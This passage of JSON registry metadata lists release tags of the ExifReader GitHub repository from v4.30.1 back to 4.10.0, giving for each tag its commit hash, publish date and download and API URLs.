},{"name":"v4.30.1","sha":"a6d23e607ab6f66b17d0a680b134326857b47512","kind":"tag","published_at":"2025-05-08T20:39:17.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.30.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.30.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.30.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.30.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.30.1/manifests"},{"name":"v4.30.0","sha":"62de2d0df945442147e73832c21d3302ac28c3b2","kind":"tag","published_at":"2025-05-01T07:13:20.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.30.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.30.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.30.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.30.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.30.0/manifests"},{"name":"v4.29.0","sha":"b88d2535d23c9bf131aa1d71e41f49dfc6fba2b5","kind":"tag","published_at":"2025-04-21T13:03:16.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.29.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.29.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.29.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.29.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.29.0/manifests"},{"name":"v4.28.1","sha":"d3759542fdbe4e103ddf7f7206fb3c7e4f152731","kind":"tag","published_at":"2025-04-09T17:45:51.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.28.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.28.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.28.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.28.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.28.1/manifests"},{"name":"v4.28.0","sha":"86b2308bf1f22e9451efaa16b112c95eaa4bfd50","kind":"tag","published_at":"2025-04-07T15:21:01.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.28.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.28.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.28.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.28.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.28.0/manifests"},{"name":"v4.27.0","sha":"c64e53b70d0262799c0bd00e3f67beb889cd9677","kind":"tag","published_at":"2025-03-24T16:16:44.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.27.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.27.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.27.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.27.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.27.0/manifests"},{"name":"v4.26.2","sha":"1fdb518918f85ada12c8841987fa6327078d1d28","kind":"tag","published_at":"2025-03-05T17:54:47.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.26.2","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.26.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.26.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.26.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.26.2/manifests"},{"name":"v4.26.1","sha":"91285833d154300b680ddf6dd6aa97c77bd5d800","kind":"tag","published_at":"2025-01-26T20:39:00.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.26.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.26.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.26.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.26.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.26.1/manifests"},{"name":"v4.26.0","sha":"12d0ef40415a3b3e2c50f1b48677b9b22d82950f","kind":"tag","published_at":"2024-12-25T21:11:09.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.26.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.26.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.26.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.26.0/manifests"},{"name":"v4.25.0","sha":"f46c7e278ea444af0b341c782afeee81e25bb0f8","kind":"tag","published_at":"2024-10-28T21:23:31.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.25.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.25.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.25.0/manifests"},{"name":"v4.24.0","sha":"d92733011d1e656d5cbc0ea728631631082d20a3","kind":"tag","published_at":"2024-10-25T12:27:35.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.24.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.24.0/manifests"},{"name":"v4.23.7","sha":"4bf170443df8d1248e8152ab2497b895665f21e2","kind":"tag","published_at":"2024-10-07T19:51:27.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.23.7","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.23.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.23.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.23.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.23.7/manifests"},{"name":"v4.23.6","sha":"9f5659127e660e52f7874aa10285fb088c4a6686","kind":"tag","published_at":"2024-10-04T10:01:15.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.23.6","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.23.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.23.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.23.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.23.6/manifests"},{"name":"v4.23.5","sha":"0cf42c7e5adb3d6ca60360d92d2290fda831a343","kind":"tag","published_at":"2024-09-05T17:26:31.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.23.5","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.23.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.23.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.23.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.23.5/manifests"},{"name":"v4.23.4","sha":"20f875e7ab720a144de9010a82e39c3d59469bd3","kind":"tag","published_at":"2024-09-05T15:38:55.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.23.4","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.23.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.23.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.23.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.23.4/manifests"},{"name":"v4.23.3","sha":"20d6a947e77dff7c7b43311a5580af94efcb127e","kind":"tag","published_at":"2024-06-12T07:49:59.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.23.3","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.23.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.23.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.23.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.23.3/manifests"},{"name":"v4.23.2","sha":"aaa9da2fd1f1e7380d6031e7c041e9bb7507dca4","kind":"tag","published_at":"2024-05-29T10:39:19.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.23.2","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.23.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.23.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.23.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.23.2/manifests"},{"name":"v4.23.1","sha":"e0188ca140cbdaa708b7dac2de87a38728e429e1","kind":"tag","published_at":"2024-05-04T19:08:13.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.23.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.23.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.23.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.23.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.23.1/manifests"},{"name":"v4.23.0","sha":"fa09268120c431f6486116dff54afe1eb2137b61","kind":"tag","published_at":"2024-05-04T19:06:17.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.23.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.23.0/manifests"},{"name":"v4.22.1","sha":"a1312de39cbe0b09d89b326a14edc59f6d38cc4f","kind":"tag","published_at":"2024-04-08T18:54:04.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.22.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.22.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.22.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.22.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.22.1/manifests"},{"name":"v4.22.0","sha":"2c008ddb600d0840bf206ca796a0e9355c690252","kind":"tag","published_at":"2024-04-06T14:04:05.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.22.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.22.0/manifests"},{"name":"v4.21.1","sha":"ae4c257e90c5529edae18ebb74b2151efa4741da","kind":"tag","published_at":"2024-03-10T17:30:43.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.21.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.21.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.21.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.21.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.21.1/manifests"},{"name":"v4.21.0","sha":"687ba94c08aa2b17611565c856728770416f947a","kind":"tag","published_at":"2024-02-04T20:33:49.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.21.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.21.0/manifests"},{"name":"v4.20.0","sha":"a9c7604c228aca9deb434e58b9694cabc4c2ab28","kind":"tag","published_at":"2023-12-28T19:39:44.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.20.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.20.0/manifests"},{"name":"v4.19.1","sha":"eb53cfa2e6d485aa26be6db1e7cc1f7dfa9d96ff","kind":"tag","published_at":"2023-12-18T06:20:29.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.19.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.19.1/manifests"},{"name":"v4.19.0","sha":"7b54cf1272307f8fb1ab488a4f8d99e0bbe1ebbf","kind":"tag","published_at":"2023-12-17T20:45:16.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.19.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.19.0/manifests"},{"name":"v4.18.0","sha":"fa0c9ae7072a7d9c5728f7fd877401cbcc5a1c31","kind":"tag","published_at":"2023-12-16T22:12:25.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.18.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.18.0/manifests"},{"name":"v4.17.0","sha":"e754fc92e0d7178c8cbf56741b9688f967fd471a","kind":"tag","published_at":"2023-11-19T16:55:54.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.17.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.17.0/manifests"},{"name":"v4.16.0","sha":"0d34a03f8f0ae21688d5ad6d28295eb2e3f2591e","kind":"tag","published_at":"2023-10-31T14:47:44.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.16.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.16.0/manifests"},{"name":"v4.15.0","sha":"11a0c33ca22cb6810e9adba639f7c1a3a30dacc3","kind":"tag","published_at":"2023-10-26T16:57:17.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.15.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.15.0/manifests"},{"name":"v4.14.1","sha":"5b9b5da5882bb47c8065f4c2107bcfa29aea2278","kind":"tag","published_at":"2023-10-21T14:52:57.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.14.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.14.1/manifests"},{"name":"v4.14.0","sha":"f41e9a53c8aa00ac124aa0cf31814a1b0d773a85","kind":"tag","published_at":"2023-10-21T13:47:14.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.14.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.14.0/manifests"},{"name":"4.14.0","sha":"f41e9a53c8aa00ac124aa0cf31814a1b0d773a85","kind":"commit","published_at":"2023-10-21T13:47:02.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.14.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.14.0/manifests"},{"name":"4.13.2","sha":"d838a133db8840b26a54c4d17e2d0ea2267befd4","kind":"commit","published_at":"2023-10-07T18:25:02.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.13.2","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.13.2/manifests"},{"name":"4.13.1","sha":"ee6662935a99932ad8a955bccfdc3761a80d132d","kind":"commit","published_at":"2023-10-03T20:16:12.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.13.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.13.1/manifests"},{"name":"v4.13.0","sha":"92f626dc1b8828b353f18f516ab2cb1dffe99eaa","kind":"tag","published_at":"2023-07-06T20:49:15.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.13.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.13.0/manifests"},{"name":"4.13.0","sha":"92f626dc1b8828b353f18f516ab2cb1dffe99eaa","kind":"commit","published_at":"2023-07-06T20:49:03.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.13.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.13.0/manifests"},{"name":"4.12.1","sha":"fe4bc827d6559158e90acada65400854e32de7e5","kind":"commit","published_at":"2023-06-08T18:37:02.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.12.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.12.1/manifests"},{"name":"v4.12.0","sha":"688c52bb0d852e5da06207b9085b63074f40abf2","kind":"tag","published_at":"2023-03-28T19:36:36.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.12.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.12.0/manifests"},{"name":"4.12.0","sha":"688c52bb0d852e5da06207b9085b63074f40abf2","kind":"commit","published_at":"2023-03-28T19:36:30.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.12.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.12.0/manifests"},{"name":"v4.11.1","sha":"31299c2a52d4c5f99ffc2bf50ef5a629ef2ce4cb","kind":"tag","published_at":"2023-03-17T21:50:37.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.11.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.11.1/manifests"},{"name":"4.11.1","sha":"31299c2a52d4c5f99ffc2bf50ef5a629ef2ce4cb","kind":"commit","published_at":"2023-03-17T21:50:31.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.11.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.11.1/manifests"},{"name":"v4.11.0","sha":"fd3079c8f9d463889d6d7165d0cda163b7978b40","kind":"tag","published_at":"2023-03-13T20:39:52.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.11.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.11.0/manifests"},{"name":"4.11.0","sha":"fd3079c8f9d463889d6d7165d0cda163b7978b40","kind":"commit","published_at":"2023-03-13T20:39:45.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.11.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.11.0/manifests"},{"name":"v4.10.0","sha":"d0ed7c7e0ccd8e04661516b41ecde96574262064","kind":"tag","published_at":"2023-03-10T22:36:10.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.10.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.10.0/manifests"},{"name":"4.10.0","sha":"d0ed7c7e0ccd8e04661516b41ecde96574262064","kind":"commit","published_at":"2023-03-10T22:36:03.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.10.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.10.0","dependencies_parsed_at":null,"dependency_job